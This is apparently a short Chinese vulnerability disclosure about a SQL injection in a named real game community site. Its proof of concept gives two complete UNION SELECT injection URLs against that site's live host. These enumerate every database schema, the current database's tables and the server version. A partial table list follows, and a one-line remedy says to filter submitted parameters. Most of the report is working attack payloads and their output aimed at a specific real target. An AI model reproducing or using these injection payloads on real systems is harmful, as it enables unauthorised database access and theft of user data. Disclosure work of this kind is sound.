所有数据库

漏洞证明：http://club.kok3.ztgame.com/index.php/Index/showGong/id/-516 UNION SELECT 1,2,3,4,database(),6,7,group_concat(schema_name),9,10,11,@@version,13 from information_schema.schemata
当前数据库存在的表
http://club.kok3.ztgame.com/index.php/Index/showGong/id/-516 UNION SELECT 1,2,3,4,database(),6,7,group_concat(table_name),9,10,11,@@version,13 from information_schema.tables where table_schema=database()

think_album,
think_album_qun,
think_app,
think_attach,
think_blog,
think_boss,
think_chat,
think_code,
think_comment,
think_doing,
think_email,
think_file_group,
think_game,
think_gift,
think_gift_category,
think_gong,
think_gong_ding,
think_group,
think_group_member,
think_hello,
think_image,
think_jiazu,
think_koc,
think_love,
think_magic,
think_material,
think_m
修复方案：对提交的参数进行相关过滤